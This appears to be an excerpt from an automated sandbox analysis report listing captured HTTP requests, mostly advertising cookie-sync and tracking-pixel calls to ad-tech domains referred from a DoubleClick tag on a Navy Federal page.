Source: global traffic	HTTP traffic detected: GET /usersync/simplifi/4F23F6C2C1D4438DAA81302CEEAB3C45?zcc=1&cb=1716590767056 HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-ed36a9b1-6e82-4f97-bcc6-221866ea94df-003%22%7D
Source: global traffic	HTTP traffic detected: GET /pixel/10751/?che=1716590766951&ip=8.46.123.175&l1=https%3A%2F%2Fum.simpli.fi%2Faa_px%3Fsk%3D219933204892004054749 HTTP/1.1Host: d.agkn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA
Source: global traffic	HTTP traffic detected: GET /pubmatic HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /freewheel HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /cookie-sync?p=smaato&initiation=partner&uid=c4c4808b0e&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.outbrain.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dtnx HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /xuid?ld=1&mid=7969&xuid=4F23F6C2C1D4438DAA81302CEEAB3C45&dongle=yf3&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1Host: eb2.3lift.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluid=4311655648632522917084
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/1026675585/?random=144126916&cv=7&fst=1716590764895&fmt=3&value=0&label=eGG0CO2U2AIQgafH6QM&guid=ON&ct_cookie_present=false&sscte=1&crd=CJW3sQIIscGxAgiwwbECCLnBsQIIgcSxAiIBAUAB&pscrd=CLa55LqA4duPASITCIWczfaup4YDFeyLgwcdxDQGuTICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLOiRodHRwczovLzk3NDk4OTIuZmxzLmRvdWJsZWNsaWNrLm5ldC8&is_vtc=1&cid=CAQSKQDaQooLaFEJFEq1RuT_q_yfhie7XDJyD1rWqzhW8dvtHSOClo-ZMCX8&random=919291552 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /profiles_user/ProfilesuserServlet?at=20&dpi=2124307461&pcid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: sync.intentiq.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aa_px?sk=219933204892004054749 HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /exelatem HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /csync/RX-ed36a9b1-6e82-4f97-bcc6-221866ea94df-003 HTTP/1.1Host: sync.targeting.unrulymedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=bluekai HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsIzpHi7crl-zwQBRgFIAMoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgZnb29nbGU.
Source: global traffic	HTTP traffic detected: GET /track/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&google_error=3 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsIzpHi7crl-zwQBRgFIAMoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgZnb29nbGU.
Source: global traffic	HTTP traffic detected: GET /yahoo HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /user?du=24;csync=4F23F6C2C1D4438DAA81302CEEAB3C45;mimetype=img; HTTP/1.1Host: fei.pro-market.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /empty.gif HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22aafbf16b-f44b-4ef0-9b6d-fd431d3a508f%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A2%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCPmR_PKup4YDFT1vQQId598InA%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6213689762165%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D893322139%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%3F%22%2C%22fingerprint%22%3A%22%22%2C%22fingerprintProvider%22%3A%22%22%7D HTTP/1.1Host: bttrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://9749892.fls.doubleclick.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /profiles_user/ProfilesuserServlet?at=20&dpi=2124307461&pcid=4F23F6C2C1D4438DAA81302CEEAB3C45&ckls=true&ci=pSxpM8lU6E&nc=false&trid=-441508172 HTTP/1.1Host: sync1.intentiq.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IQver=1.9; intentIQ=pSxpM8lU6E
Source: global traffic	HTTP traffic detected: GET /load/?p=204&g=2191&simid=4F23F6C2C1D4438DAA81302CEEAB3C45&j=0 HTTP/1.1Host: loadm.exelator.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /beachfront HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=bluekai HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsImo2Z5qqT_jwQBRgFIAQoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgdibHVla2Fp
Source: global traffic	HTTP traffic detected: GET /pubmatic HTTP/1.1Host: um.simpli.fiConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /csync/RX-ed36a9b1-6e82-4f97-bcc6-221866ea94df-003 HTTP/1.1Host: sync.targeting.unrulymedia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-ed36a9b1-6e82-4f97-bcc6-221866ea94df-003%22%7D
Source: global traffic	HTTP traffic detected: GET /bluekai HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /freewheel HTTP/1.1Host: um.simpli.fiConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /crwdcntrl HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /user?du=24;csync=4F23F6C2C1D4438DAA81302CEEAB3C45;mimetype=img;sr HTTP/1.1Host: fei.pro-market.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: anProfile="1+1+1f=1+1g=1+1j=57:1+rs=s+rt=082E7BAF+s2=(se0hwx)"
Source: global traffic	HTTP traffic detected: GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22aafbf16b-f44b-4ef0-9b6d-fd431d3a508f%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A2%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCPmR_PKup4YDFT1vQQId598InA%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6213689762165%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D893322139%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%3F%22%2C%22fingerprint%22%3A%22%22%2C%22fingerprintProvider%22%3A%22%22%7D HTTP/1.1Host: bttrack.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
Source: global traffic	HTTP traffic detected: GET /yahoo HTTP/1.1Host: um.simpli.fiConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /load/?p=204&g=2191&simid=4F23F6C2C1D4438DAA81302CEEAB3C45&j=0&xl8blockcheck=1 HTTP/1.1Host: loadm.exelator.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EE="255938791ef4d4d26431397836a1a4e2"; ud="eJxrXxzq6XKLQcHI1NTS2MLc0jA1zSTFJMXIzMTY0NjS3MLYLNEw0STVaHFZatGCpaXFqSlJh5ZU5JTkNK0uiw91jHdz9PX0iVywAswJcw1asCS%252FKDN9UWjw4qKUNMZFJcWngo9fSwEAAnIm1Q%253D%253D"
Source: global traffic	HTTP traffic detected: GET /lj_match HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
